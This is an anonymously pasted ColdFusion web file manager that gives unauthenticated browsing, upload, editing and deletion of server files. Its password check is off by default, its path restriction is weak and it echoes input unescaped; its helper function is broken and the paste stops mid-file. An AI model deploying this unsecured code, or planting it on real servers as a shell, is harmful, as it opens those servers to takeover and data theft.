Advertisement
Guest User

Untitled

a guest
Jul 18th, 2013
536
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 41.67 KB | None | 0 0
  1. <html>
  2. <body>
  3. <!---
  4. Created by S?bastien Denis -
  5. 1.0 : 23-nov-2004
  6. 1.1 : 03-fev-2005 - new action: synchronize
  7. ============================================================================
  8. The FileManager can be use as a common file manager or as a CFMODULE use inside an application.
  9. ============================================================================
  10. Depending of the action (fuseaction attributes), the other attributes are...
  11. FUSEACTION OTHER ATTRIBUTES
  12. ============================================================================
  13. PASSWORD
  14. If password is required to access the module.
  15. Display a form to enter password.
  16. PASSWORDHASH
  17. Hash the password.
  18. HOME
  19. Display the file manager.
  20. PATH (default= current path)
  21. EDITEXTENSIONS (list of extensions to enable file edition)
  22. GETDIR (default = current folder)
  23. SEARCH
  24. Perform a search.
  25. Return a query GETDIR and a call to fuseaction = HOME with this query.
  26. SEARCHNAME (reg exp corresponding to file/folder name)
  27. SEARCHTEXT (reg exp corresponding to file content)
  28. RECURSIVE (optional recursive search: 0/1 - default = 0)
  29. MAXSEARCHRESULT (number of result: n - default = 1)
  30. EDIT
  31. Edit a file
  32. EDITEXTENSIONS (list of extension - show the EDIT button)
  33. (default = txt,htm,html,cfm,cfml,asp,aspx,php,jsp,js,ini,bat,log,reg,xml,dtd,xslt)
  34. If "ALL", all files are editable
  35. PATH
  36. FILE
  37. WRITE
  38. Write the edited file
  39. PATH
  40. FILE
  41. FILENEWCONTENT
  42. UPLOAD PATH, NBROFUPLOAD (number of the maximum file to upload at once - default is 20)
  43. DOWNLOAD PATH, FILE
  44. ADDDIR PATH, DIRNEW
  45. ADDFILE PATH, FILENEW
  46. RENAMEFILE PATH, FILE, FILENEW
  47. RENAMEDIR PATH, DIR, DIRNEW
  48. COPYFILE PATH, FILE, PATHNEW (with the new file name)
  49. COPYDIR PATH, DIR, PATHNEW (with the new folder name)
  50. MOVEFILE PATH, FILE, PATHNEW (without the new file name)
  51. MOVEDIR PATH, DIR, PATHNEW (without the new folder name)
  52. DELETEFILE PATH, FILE
  53. DELETEDIR PATH, DIR
  54. DELETEDIRRECURSIVE PATH, DIR
  55. SYNCDIR PATH, PATHNEW (path; origin, pathNew: destination), OVERWRITEALL
  56.  
  57. Other attributes:
  58. ============================================================================
  59. thisModule the path to this module (cfmodule)
  60. default = listLast(cgi.script_name,"/\")
  61. relocate 0/1 (default 1, 0 in recursive call)
  62. CheckPassword default = ""
  63. To compare with H to allow access to module
  64. If no correspondance => fuseaction = password
  65. If checkPassword = "" => No access control.
  66. H The Hashed password always required if checkPassword neq "".
  67. PATHALLOWED The path beyond which the module cannot go.
  68. default = "" meaning no limits.
  69. STYLE 0/1 (default = 1) include basic style.
  70. --->
  71.  
  72. <!--- ************ Personal parameter *************** --->
  73. <cfset attributes.editExtensions = "ALL">
  74. <!--- ************ Personal parameter *************** --->
  75.  
  76. <cfsetting requestTimeout = 1000>
  77. <!--- formurl2attributes --->
  78. <cfparam name="attributes" default="#structNew()#">
  79. <cfset structAppend(attributes,form,"no")>
  80. <cfset structAppend(attributes,url,"no")>
  81. <!--- Default parameters --->
  82. <cfparam name="attributes.path" default="#expandPath(".")#">
  83. <cfparam name="attributes.fuseaction" default="home">
  84. <cfparam name="attributes.recursive" default="0">
  85. <cfparam name="attributes.showpath" default="0">
  86. <cfparam name="attributes.searchtext" default="">
  87. <cfparam name="attributes.searchname" default="">
  88. <cfparam name="attributes.maxsearchresult" default="1">
  89. <cfparam name="attributes.checkpassword" default="">
  90. <cfparam name="attributes.password" default="">
  91. <cfparam name="attributes.nbrOfUpload" default="20">
  92. <cfparam name="attributes.editExtensions" default="txt,htm,html,cfm,cfml,asp,aspx,php,jsp,js,ini,bat,log,reg,xml,dtd,xslt">
  93. <cfparam name="attributes.relocate" default="1">
  94. <cfparam name="attributes.overwriteAll" default="0">
  95. <cfparam name="attributes.style" default="1">
  96. <cfparam name="attributes.pathAllowed" default="">
  97. <cfparam name="attributes.thisModule" default="#listLast(cgi.script_name,"/\")#">
  98. <cfparam name="attributes.h" default="">
  99. <!--- Find delimiter and set path --->
  100. <cfif find("/",cgi.CF_TEMPLATE_PATH)>
  101. <cfset attributes.delimiter = "/">
  102. <cfelse>
  103. <cfset attributes.delimiter = "\">
  104. </cfif>
  105. <cfset attributes.path = reReplace(attributes.path,"\#attributes.delimiter#{2,}",attributes.delimiter,"ALL")>
  106. <cfif right(attributes.path,1) eq attributes.delimiter and len(attributes.path) gt 1>
  107. <cfset attributes.path = left(attributes.path,len(attributes.path)-1)>
  108. </cfif>
  109. <!--- UDF --->
  110. <cfargument name="qs">
  111. <cfargument name="relocate">
  112. <cfif relocate>
  113. </cfif>
  114. </cffunction>
  115. <!--- Password check --->
  116. <cfif attributes.fuseaction neq "passwordHash" and attributes.checkPassword neq "">
  117. <cfif isDefined("attributes.H")>
  118. <cfif hash(attributes.checkpassword) neq attributes.H>
  119. <cfset attributes.fuseaction = "password">
  120. </cfif>
  121. <cfelse>
  122. <cfset attributes.fuseaction = "password">
  123. </cfif>
  124. </cfif>
  125. <!--- Path check --->
  126. <cfif attributes.pathAllowed neq "">
  127. <cfif not findNoCase(attributes.pathAllowed,attributes.path)>
  128. <cfset attributes.path = attributes.pathAllowed>
  129. <cfset attributes.msg = "Error: cannot go beyond ""#attributes.pathAllowed#""">
  130. </cfif>
  131. </cfif>
  132. <!--- CSS Style --->
  133. <cfif attributes.style and attributes.relocate>
  134. <style>
  135. body,table,input{font:11px;font-family:verdana}
  136. button, .button{font:11px;font-family:verdana;width:50;text-align:center;border:1px solid black;background-color:#EEEEEE;cursor:hand;padding:1 0 1 0;}
  137. </style>
  138. </cfif>
  139. <!--- Fusebox --->
  140. <cfswitch expression="#attributes.fuseaction#">
  141.  
  142. <cfcase value="password">
  143. <cfoutput>
  144. <form action="?" method="post">
  145. <input type="hidden" name="fuseaction" value="passwordHash">
  146. Password: <input type="password" name="password">&nbsp;<input type="submit" name="submit" value="Submit" class="button">
  147. </form>
  148. </cfoutput>
  149. </cfcase>
  150.  
  151. <cfcase value="passwordHash">
  152. <cfoutput>
  153. <script>window.location.href="?h=#hash(attributes.password)#";</script>
  154. </cfoutput>
  155. </cfcase>
  156.  
  157. <cfcase value="home">
  158. <cfoutput>
  159. <title>FileManager: #attributes.path#</title>
  160. <script>
  161. function addDir(){
  162. var sDirNew = prompt("Create folder in #JSStringFormat(attributes.path)#.\nFolder name:","");
  163. if (sDirNew != null && sDirNew != ""){
  164. window.location.href="?fuseaction=addDir&path=#JSStringFormat(attributes.path)#&dirNew=" + sDirNew + "&h=#attributes.h#";
  165. }
  166. }
  167. function addFile(){
  168. var sFileNew = prompt("Create file in #JSStringFormat(attributes.path)#.\nFile name:","");
  169. if (sFileNew != null && sFileNew != ""){
  170. window.location.href="?fuseaction=addFile&path=#JSStringFormat(attributes.path)#&fileNew=" + sFileNew + "&h=#attributes.h#";
  171. }
  172. }
  173. function renameFile(sFile){
  174. var sFileNew = prompt("New file name",sFile + "_copy");
  175. if (sFileNew != null && sFileNew != "" && sFileNew != sFile){
  176. window.location.href="?fuseaction=renamefile&path=#JSStringFormat(attributes.path)#&file=" + sFile + "&fileNew=" + sFileNew + "&h=#attributes.h#";
  177. }
  178. }
  179. function renameDir(sDir){
  180. var sDirNew = prompt("New folder name",sDir + "_copy");
  181. if (sDirNew != null && sDirNew != "" && sDirNew != sDir){
  182. window.location.href="?fuseaction=renameDir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&dirNew=" + sDirNew + "&h=#attributes.h#";
  183. }
  184. }
  185. function copyFile(sFile){
  186. sDefault = "#JSStringFormat(attributes.path)##JSStringFormat(attributes.delimiter)#" + sFile;
  187. var sPathNew = prompt("Destination for \"" + sFile + "\".",sDefault);
  188. if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
  189. window.location.href="?fuseaction=copyFile&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&file=" + sFile + "&h=#attributes.h#";
  190. }
  191. }
  192. function copyDir(sDir){
  193. sDefault = "#JSStringFormat(attributes.path)##JSStringFormat(attributes.delimiter)#" + sDir;
  194. var sPathNew = prompt("Destination for \"" + sDir + "\".\nProvide a UNEXISTANT path!",sDefault + "_copy");
  195. if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
  196. window.location.href="?fuseaction=copydir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&pathNew=" + sPathNew + "&h=#attributes.h#";
  197. }
  198. }
  199. function moveFile(sFile){
  200. sDefault = "#JSStringFormat(attributes.path)#";
  201. var sPathNew = prompt("Move \"" + sFile + "\" to:",sDefault);
  202. if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
  203. window.location.href="?fuseaction=moveFile&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&file=" + sFile + "&h=#attributes.h#";
  204. }
  205. }
  206. function moveDir(sDir){
  207. sDefault = "#JSStringFormat(attributes.path)#";
  208. var sPathNew = prompt("Move \"" + sDir + "\" to:",sDefault);
  209. if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
  210. window.location.href="?fuseaction=moveDir&path=#JSStringFormat(attributes.path)#&pathNew=" + sPathNew + "&dir=" + sDir + "&h=#attributes.h#";
  211. }
  212. }
  213. function syncDir(sDir){
  214. sDefault = "#JSStringFormat(attributes.path)#" + "\\" + sDir;
  215. var sPathNew = prompt("Synchronize \"" + sDefault + "\" to:",sDefault);
  216. var bOverwriteAll = 0;
  217. if (sPathNew != null && sPathNew != "" && sPathNew != sDefault){
  218. if (confirm("Do yout want to overwrite all files?\nOK: copy all files.\nCancel: copy new and modified files.")) bOverwriteAll = 1;
  219. window.location.href="?fuseaction=syncDir&path=" + sDefault + "&pathNew=" + sPathNew + "&overwriteall=" + bOverwriteAll + "&h=#attributes.h#";
  220. }
  221. }
  222. function deleteFile(sFile){
  223. if (confirm("Delete \"" + sFile + "\"?"))window.location.href="?fuseaction=deletefile&path=#JSStringFormat(attributes.path)#&file=" + sFile + "&h=#attributes.h#";
  224. }
  225. function deleteDir(sDir){
  226. if (confirm("Delete \"" + sDir + "\"?"))window.location.href="?fuseaction=deletedir&path=#JSStringFormat(attributes.path)#&dir=" + sDir + "&h=#attributes.h#";
  227. }
  228. function showNextUpload(n){
  229. document.getElementById("fileUpload" + n).style.display='';
  230. document.getElementById("submitUpload").style.display='';
  231. }
  232. </script>
  233. <cfif isDefined("attributes.msg")>
  234. <h4 style="color:#iif(findNoCase("error",attributes.msg),"'red'","'green'")#">#attributes.msg#</h4>
  235. </cfif>
  236. <cfif len(attributes.path) gt 1>
  237. <cfset attributes.parentpath = listDeleteAt(attributes.path,listLen(attributes.path,attributes.delimiter),attributes.delimiter)>
  238. <cfelse>
  239. <cfset attributes.parentpath = "">
  240. </cfif>
  241. <table style="border:1 solid black">
  242. <form action="?" method="post">
  243. <input type="hidden" name="h" value="#attributes.h#">
  244. <tr>
  245. <td width="100">Parent:</td>
  246. <td><a href="?path=#attributes.parentpath#&h=#attributes.h#">#attributes.parentpath#</a></td>
  247. </tr>
  248. <tr>
  249. <td valign="top">Path:</td>
  250. <td>
  251. <input type="text" name="path" value="#attributes.path#" style="font-weight:bold" size="100">&nbsp;
  252. <input type="submit" value="Submit" class="button"><br>
  253. <button style="width:150" onclick="addDir()">Create a folder</button>&nbsp;
  254. <button style="width:150" onclick="addFile()">Create a file</button>
  255. </td>
  256. </tr>
  257. </form>
  258. <form action="?" method="post">
  259. <input type="hidden" name="h" value="#attributes.h#">
  260. <input type="hidden" name="fuseaction" value="search">
  261. <input type="hidden" name="path" value="#attributes.path#">
  262. <tr>
  263. <td>Search:</td>
  264. <td><span style="width:150">File/folder name (RE):</span><input type="text" name="searchname" size="70" value="#attributes.searchname#"></td>
  265. </tr>
  266. <tr>
  267. <td>&nbsp;</td>
  268. <td><span style="width:150">Containg text (RE):</span><input type="text" name="searchtext" size="70" value="#attributes.searchtext#"></td>
  269. </tr>
  270. <tr>
  271. <td>&nbsp;</td>
  272. <td>
  273. Recursive <input type="checkbox" name="recursive" value="1" #iif(attributes.recursive,"'checked'","''")#>&nbsp;
  274. Max. result <select name="maxsearchresult">
  275. <option value="1" #iif(attributes.maxsearchresult eq 1,"'SELECTED'","''")#>1</option>
  276. <option value="5" #iif(attributes.maxsearchresult eq 5,"'SELECTED'","''")#>5</option>
  277. <option value="10" #iif(attributes.maxsearchresult eq 10,"'SELECTED'","''")#>10</option>
  278. <option value="50" #iif(attributes.maxsearchresult eq 50,"'SELECTED'","''")#>50</option>
  279. <option value="100" #iif(attributes.maxsearchresult eq 100,"'SELECTED'","''")#>100</option>
  280. </select>
  281. <input type="submit" value="Submit" class="button"></td>
  282. </tr>
  283. </form>
  284. <form action="?" method="post" enctype="multipart/form-data">
  285. <input type="hidden" name="h" value="#attributes.h#">
  286. <input type="hidden" name="fuseaction" value="upload">
  287. <input type="hidden" name="path" value="#attributes.path#">
  288. <tr>
  289. <td valign="top">Upload:</td>
  290. <td>
  291. <span style="width:20">1.</span><input type="File" name="file1" size="70" onchange="showNextUpload(2)">
  292. <input type="checkbox" name="overwrite1">Overwrite
  293. <cfloop index="i" from="2" to="#attributes.nbrOfUpload#">
  294. <div id="fileUpload#i#" style="display:'none'">
  295. <span style="width:20">#i#.</span><input type="File" name="file#i#" size="70" onchange="showNextUpload(#i+1#)">
  296. <input type="checkbox" name="overwrite#i#">Overwrite
  297. </div>
  298. </cfloop>
  299. <input type="submit" value="Upload" name="submitUpload" class="button" style="display:'none'">
  300. </td>
  301. </tr>
  302. </form>
  303. </table>
  304. </cfoutput>
  305. <cfflush>
  306. <cfif not isDefined("attributes.getDir")>
  307. <cfdirectory action="LIST" directory="#attributes.path#" name="attributes.getDir">
  308. </cfif>
  309. <br>
  310. <table style="border:1 solid black">
  311. <tr bgcolor="#c0c0c0">
  312. <th>&nbsp;</th>
  313. <cfset colspan = 1>
  314. <cfif attributes.showpath>
  315. <cfset colspan = 2>
  316. <th>Path</th>
  317. </cfif>
  318. <th>Name</th>
  319. <th>Actions</th>
  320. <th>Size</th>
  321. <th>Attr.</th>
  322. <th>Modif. date</th>
  323. </tr>
  324. <cfoutput>
  325. <tr>
  326. <td colspan="#colspan#"><hr size="1"></td>
  327. <td align="center"><b>F o l d e r s</b></td>
  328. <td colspan="10"><hr size="1"></td>
  329. </tr>
  330. </cfoutput>
  331. <cfset i = 0>
  332. <cfoutput query="attributes.getDir">
  333. <cfif type eq "dir" and name neq "." and name neq "..">
  334. <cfset i = i + 1>
  335. <tr bgcolor="#iif(evaluate(i Mod 2),"'F2F2F2'","'EFEFE2'")#">
  336. <td>#i#.</td>
  337. <cfif attributes.showpath>
  338. <td><a href="?path=#path#&h=#attributes.h#" style="text-decoration:none">#path#</a></td>
  339. <td><a href="?path=#path##attributes.delimiter##name#&h=#attributes.h#" style="text-decoration:none"><b>#name#</b></a></td>
  340. <td><a onclick="window.location.href='?path=#JSStringFormat("#path##attributes.delimiter##name#&h=#attributes.h#")#'" class="button">Open</a></td>
  341. <cfelse>
  342. <td><a href="?path=#attributes.path##attributes.delimiter##name#&h=#attributes.h#" style="text-decoration:none"><b>#name#</b></a></td>
  343. <td>
  344. <a onclick="window.location.href='?path=#JSStringFormat(attributes.path & attributes.delimiter)##name#&h=#attributes.h#'" class="button">Open</a>
  345. <a onclick="renameDir('#name#')" class="button">Rename</a>
  346. <a onclick="copyDir('#name#')" class="button">Copy</a>
  347. <a onclick="moveDir('#name#')" class="button">Move</a>
  348. <a onclick="deleteDir('#name#')" class="button" style="color:red">Delete</a>
  349. <a onclick="syncDir('#name#')" class="button">Sync.</a>
  350. </td>
  351. </cfif>
  352. <td>&nbsp;</td>
  353. <td>#ATTRIBUTES#&nbsp;</td>
  354. <td>#DATELASTMODIFIED#</td>
  355. </tr>
  356. </cfif>
  357. </cfoutput>
  358. <cfoutput>
  359. <tr>
  360. <td colspan="#colspan#"><hr size="1"></td>
  361. <td align="center"><b>F i l e s</b></td>
  362. <td colspan="10"><hr size="1"></td>
  363. </tr>
  364. </cfoutput>
  365. <cfoutput query="attributes.getDir">
  366. <cfif type eq "file">
  367. <cfset i = i + 1>
  368. <tr bgcolor="#iif(evaluate(i Mod 2),"'F2F2F2'","'EFEFE2'")#">
  369. <td>#i#.</td>
  370. <cfif attributes.showpath>
  371. <td><a href="?path=#path#&h=#attributes.h#" style="text-decoration:none">#path#</a></td>
  372. <td><a href="?fuseaction=download&path=#path#&file=#name#&h=#attributes.h#" style="text-decoration:none"><b>#name#</b></a></td>
  373. <cfif attributes.editExtensions eq "ALL" or listFindNoCase(attributes.editExtensions,listLast(name,"."))>
  374. <td>
  375. <a onclick="window.location.href='?fuseaction=edit&path=#JSStringFormat(path)#&h=#attributes.h#&file=#name#'" class="button">Edit</a>
  376. <a onclick="window.location.href='?fuseaction=download&path=#JSStringFormat(path)#&h=#attributes.h#&file=#name#'" class="button">Down.</a>
  377. </td>
  378. </cfif>
  379. <cfelse>
  380. <td><a href="?fuseaction=download&path=#attributes.path#&file=#name#&h=#attributes.h#" style="text-decoration:none">#name#</a></td>
  381. <td>
  382. <a onclick="window.location.href='?fuseaction=download&path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#name#'" class="button">Down.</a>
  383. <a onclick="renameFile('#name#')" class="button">Rename</a>
  384. <a onclick="copyFile('#name#')" class="button">Copy</a>
  385. <a onclick="moveFile('#name#')" class="button">Move</a>
  386. <a onclick="deleteFile('#name#')" class="button" style="color:red">Delete</a>
  387. <cfif attributes.editExtensions eq "ALL" or listFindNoCase(attributes.editExtensions,listLast(name,"."))>
  388. <a onclick="window.location.href='?fuseaction=edit&path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#name#'" class="button">Edit</a>
  389. </cfif>
  390. <cfif Find("R",attributes)>
  391. <a onclick="window.location.href='?fuseaction=removeR&path=#JSStringFormat(attributes.path)#&file=#name#&fileNew=#name#&h=#attributes.h#'" class="button">Rem RO</a>
  392. </cfif>
  393. </td>
  394. </cfif>
  395. <td align="right">#numberFormat(size)# B</td>
  396. <td>#ATTRIBUTES#&nbsp;</td>
  397. <td>#DATELASTMODIFIED#</td>
  398. </tr>
  399. </cfif>
  400. </cfoutput>
  401. </table>
  402. </cfcase>
  403.  
  404. <cfcase value="edit">
  405. <cfoutput><title>FileManager: #attributes.file#</title></cfoutput>
  406. <cffile action="READ" file="#attributes.path##attributes.delimiter##attributes.file#" variable="filecontent">
  407. <cfdirectory action="LIST" directory="#attributes.path##attributes.delimiter#" filter="#attributes.file#" name="getFile">
  408. <cfif findNoCase("R",getFile.attributes[1])>
  409. <cfoutput>
  410. <div>
  411. <span style="color:red;font-weight:bold">This file is READ-ONLY</span>
  412. &nbsp;<button onclick="window.location.href='?fuseaction=removeR&path=#JSStringFormat(attributes.path)#&file=#attributes.file#&fileNew=#attributes.file#&after=edit&h=#attributes.h#'" style="width:150">Remove Read-Only</button>
  413. &nbsp;<button onclick="history.back()">Back</button>
  414. </div>
  415. <pre style="width:100%;height:95%;border:2 solid black">#htmlEditFormat(filecontent)#</pre>
  416. </cfoutput>
  417. <cfelse>
  418. <cfoutput>
  419. <form action="?" method="post">
  420. <input type="submit" value="Save Back" style="width:100" class="button">
  421. <input type="submit" value="Save" onclick="document.all.fuseactionNext.value='edit'" class="button">&nbsp;
  422. <button onclick="window.location.href='?path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#attributes.file#'">Cancel</button>
  423. Size: #numberFormat(getFile.size)#B | Date: #getFile.dateLastModified#
  424. <input type="hidden" name="h" value="#attributes.h#">
  425. <input type="hidden" name="fuseaction" value="write">
  426. <input type="hidden" name="fuseactionNext" value="home">
  427. <input type="hidden" name="path" value="#attributes.path#">
  428. <input type="hidden" name="file" value="#attributes.file#">
  429. <textarea style="width:100%;height:95%" name="fileNewContent" style="font-size:11px">#htmlEditFormat(filecontent)#</textarea>
  430. <div>
  431. <input type="submit" value="Save Back" style="width:100" class="button">
  432. <input type="submit" value="Save" onclick="document.all.fuseactionNext.value='edit'" class="button">&nbsp;
  433. <button onclick="window.location.href='?path=#JSStringFormat(attributes.path)#&h=#attributes.h#&file=#attributes.file#'">Cancel</button>
  434. </div>
  435. </form>
  436. </cfoutput>
  437. </cfif>
  438. </cfcase>
  439.  
  440. <cfcase value="write">
  441. <cftry>
  442. <cffile action="DELETE" file="#attributes.path##attributes.delimiter##attributes.file#">
  443. <cffile action="WRITE" file="#attributes.path##attributes.delimiter##attributes.file#" output="#attributes.fileNewContent#" addnewline="No">
  444. <cfoutput>#location("fuseaction=#attributes.fuseactionNext#&file=#attributes.file#", attributes.relocate)#</cfoutput>
  445. <cfcatch>
  446. <cfoutput>#location("msg=Error while updating file!", attributes.relocate)#</cfoutput>
  447. </cfcatch>
  448. </cftry>
  449. </cfcase>
  450.  
  451. <cfcase value="upload">
  452. <cfset msg = "Upload Result:">
  453. <cfloop index="i" from="1" to="#attributes.nbrOfUpload#">
  454. <cfif form["file#i#"] neq "">
  455. <cftry>
  456. <cffile action="UPLOAD"
  457. filefield="form.file#i#"
  458. destination="#attributes.path#"
  459. nameconflict="#iif(isDefined("attributes.overwrite#i#"),"'OVERWRITE'","'Error'")#">
  460. <cfset msg = "#msg#\n - File #i#: OK">
  461. <cfcatch>
  462. <cfset msg = "#msg#\n - File #i#: ERROR">
  463. </cfcatch>
  464. </cftry>
  465. </cfif>
  466. </cfloop>
  467. <cfoutput>#location("", attributes.relocate)#</cfoutput>
  468. </cfcase>
  469.  
  470. <cfcase value="download">
  471. <cfheader name="Content-disposition" value="attachment; filename=#attributes.file#">
  472. <cfcontent file="#attributes.path##attributes.delimiter##attributes.File#">
  473. </cfcase>
  474.  
  475. <cfcase value="deleteFile">
  476. <cftry>
  477. <cffile action="delete" file="#attributes.path##attributes.delimiter##attributes.file#">
  478. <cfoutput>#location("msg=File deleted!", attributes.relocate)#</cfoutput>
  479. <cfcatch>
  480. <cfoutput>#location("msg=Error: file not deleted!", attributes.relocate)#</cfoutput>
  481. </cfcatch>
  482. </cftry>
  483. </cfcase>
  484.  
  485. <cfcase value="deleteDir">
  486. <cftry>
  487. <cfdirectory action="DELETE" directory="#attributes.path##attributes.delimiter##attributes.dir#">
  488. <cfoutput>#location("msg=Folder deleted!", attributes.relocate)#</cfoutput>
  489. <cfcatch>
  490. <cfoutput>#location("fuseaction=deletedirRecursiveConfirm&dir=#attributes.dir#", attributes.relocate)#</cfoutput>
  491. </cfcatch>
  492. </cftry>
  493. </cfcase>
  494.  
  495. <cfcase value="deleteDirRecursiveConfirm">
  496. <cfoutput>
  497. <script>
  498. if(confirm("Folder not deleted. It may contains files or folders.\nTry recursive delete?")) window.location.href="?fuseaction=deletedirRecursive&path=#jsStringFormat(attributes.path)#&dir=#jsStringFormat(attributes.dir)#&h=#attributes.h#";
  499. else window.location.href="?path=#jsStringFormat(attributes.path)#&h=#attributes.h#";
  500. </script>
  501. </cfoutput>
  502. </cfcase>
  503.  
  504. <cfcase value="deleteDirRecursive">
  505. <cfdirectory action="LIST" name="attributes.getDir" directory="#attributes.path##attributes.delimiter##attributes.dir#">
  506. <cfoutput><h3>#attributes.path##attributes.delimiter##attributes.dir#</h3></cfoutput>
  507. <!--- Delete files --->
  508. <cfloop query="attributes.getDir">
  509. <cfif type eq "file">
  510. <cftry>
  511. <cffile action="delete" file="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter##name#">
  512. <cfoutput>
  513. <div>
  514. <span style="width:100">FILE:</span>
  515. #attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter#<b>#name#</b>
  516. </div>
  517. </cfoutput>
  518. <cfcatch/>
  519. </cftry>
  520. </cfif>
  521. </cfloop>
  522. <!--- Delete sub-folder --->
  523. <cfloop query="attributes.getDir">
  524. <cfif type eq "dir">
  525. <cfmodule template="#attributes.thisModule#"
  526. fuseaction="deleteDirRecursive"
  527. h="#attributes.H#"
  528. path="#attributes.path##attributes.delimiter##attributes.dir#"
  529. dir="#name#"
  530. relocate="0">
  531. </cfif>
  532. </cfloop>
  533. <cftry>
  534. <cfdirectory action="DELETE" directory="#attributes.path##attributes.delimiter##attributes.dir#">
  535. <cfoutput>
  536. <div>
  537. <span style="width:100">FOLDER:</span>
  538. #attributes.path##attributes.delimiter#<b>#attributes.dir#</b>
  539. </div>
  540. </cfoutput>
  541. <cfcatch/>
  542. </cftry>
  543. <cfflush>
  544. <cfif attributes.relocate>
  545. <cfoutput>
  546. <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Deletion done! Back to <b>#attributes.path#</b></button>
  547. </cfoutput>
  548. </cfif>
  549. </cfcase>
  550.  
  551. <cfcase value="addDir">
  552. <cftry>
  553. <cfdirectory action="CREATE" directory="#attributes.path##attributes.delimiter##attributes.dirNew#">
  554. <cfoutput>#location("msg=Folder created!", attributes.relocate)#</cfoutput>
  555. <cfcatch>
  556. <cfoutput>#location("msg=Error: folder not created!", attributes.relocate)#</cfoutput>
  557. </cfcatch>
  558. </cftry>
  559. </cfcase>
  560.  
  561. <cfcase value="addFile">
  562. <cftry>
  563. <cffile action="WRITE" file="#attributes.path##attributes.delimiter##attributes.fileNew#" output="">
  564. <cfoutput>#location("msg=File created!", attributes.relocate)#</cfoutput>
  565. <cfcatch>
  566. <cfoutput>#location("msg=Error: file not created!", attributes.relocate)#</cfoutput>
  567. </cfcatch>
  568. </cftry>
  569. </cfcase>
  570.  
  571. <cfcase value="copyFile">
  572. <cfif fileExists("#attributes.pathNew#")>
  573. <cfoutput>
  574. <script>
  575. alert("This file already exists!");
  576. history.back();
  577. </script>
  578. </cfoutput>
  579. <cfabort>
  580. </cfif>
  581. <cftry>
  582. <cfset pathTry = listDeleteAt(attributes.pathNew,listLen(attributes.pathNew,"/\"),"/\")>
  583. <cfdirectory action="CREATE" directory="#pathTry#">
  584. <cfcatch/>
  585. </cftry>
  586. <cftry>
  587. <cffile action="COPY" source="#attributes.path##attributes.delimiter##attributes.file#"
  588. destination="#attributes.pathNew#">
  589. <cfif attributes.relocate>
  590. <cfoutput>#location("msg=File copied!", attributes.relocate)#</cfoutput>
  591. </cfif>
  592. <cfcatch>
  593. <cfif attributes.relocate>
  594. <cfoutput>#location("msg=Error: file not copied", attributes.relocate)#</cfoutput>
  595. </cfif>
  596. </cfcatch>
  597. </cftry>
  598. </cfcase>
  599.  
  600. <cfcase value="copyDir">
  601. <cfif DirectoryExists("#attributes.pathNew#")>
  602. <cfoutput>
  603. <script>
  604. alert("This folder already exists!\nPlease use synchronize function.");
  605. history.back();
  606. </script>
  607. </cfoutput>
  608. <cfabort>
  609. </cfif>
  610. <cfdirectory directory="#attributes.path##attributes.delimiter##attributes.dir#" name="attributes.getDir">
  611. <!--- create main folder --->
  612. <cftry>
  613. <cfdirectory action="CREATE" directory="#attributes.pathNew#">
  614. <cfoutput><h3>#attributes.pathNew#</h3></cfoutput>
  615. <cfcatch/>
  616. </cftry>
  617. <!--- copy folder content - Recursive copy --->
  618. <cfloop query="attributes.getDir">
  619. <cfif type eq "file">
  620. <cffile
  621. action="COPY"
  622. source="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter##name#"
  623. destination="#attributes.pathNew##attributes.delimiter##name#"
  624. attributes="Normal">
  625. <cfoutput><div>#attributes.pathNew##attributes.delimiter#<b>#name#</b></div></cfoutput>
  626. <cfflush>
  627. </cfif>
  628. </cfloop>
  629. <cfloop query="attributes.getDir">
  630. <cfif type eq "dir">
  631. <cfmodule
  632. fuseaction="copyDir"
  633. template="#attributes.thisModule#"
  634. h="#attributes.H#"
  635. path="#attributes.path##attributes.delimiter##attributes.dir##attributes.delimiter#"
  636. dir="#name#"
  637. pathNew="#attributes.pathNew##attributes.delimiter##name#"
  638. relocate="0">
  639. </cfif>
  640. </cfloop>
  641. <cfif attributes.relocate>
  642. <cfoutput>
  643. <button name="fileManagerButton" style="width:700" onclick="window.location.href='?h=#attributes.H#&path=#jsStringFormat(attributes.path)#'">Copy done! Back to <b>#attributes.path#</b></button>
  644. </cfoutput>
  645. </cfif>
  646. </cfcase>
  647.  
  648. <cfcase value="renameFile">
  649. <cfif fileExists("#attributes.path##attributes.delimiter##attributes.fileNew#")>
  650. <cfoutput>
  651. <script>
  652. alert("This file already exists!");
  653. history.back();
  654. </script>
  655. </cfoutput>
  656. <cfabort>
  657. </cfif>
  658. <cftry>
  659. <cffile action="rename" source="#attributes.path##attributes.delimiter##attributes.file#" destination="#attributes.path##attributes.delimiter##attributes.fileNew#" attributes="normal">
  660. <cfoutput>#location("msg=File updated!", attributes.relocate)#</cfoutput>
  661. <cfcatch>
  662. <cfoutput>#location("msg=Error while updating file!", attributes.relocate)#</cfoutput>
  663. </cfcatch>
  664. </cftry>
  665. </cfcase>
  666.  
  667. <cfcase value="removeR">
  668. <cftry>
  669. <cffile action="rename" source="#attributes.path##attributes.delimiter##attributes.file#" destination="#attributes.path##attributes.delimiter##attributes.fileNew#" attributes="normal">
  670. <cfset qs = "">
  671. <cfif isDefined("attributes.after") and attributes.after eq "edit">
  672. <cfset qs = "fuseaction=edit&file=#attributes.file#&">
  673. </cfif>
  674. <cfoutput>#location("#qs#msg=File updated!", attributes.relocate)#</cfoutput>
  675. <cfcatch>
  676. <cfoutput>#location("#qs#msg=Error while updating file!", attributes.relocate)#</cfoutput>
  677. </cfcatch>
  678. </cftry>
  679. </cfcase>
  680.  
  681. <cfcase value="renameDir">
  682. <cfif DirectoryExists("#attributes.path##attributes.delimiter##attributes.dirNew#")>
  683. <cfoutput>
  684. <script>
  685. alert("This folder already exists!");
  686. history.back();
  687. </script>
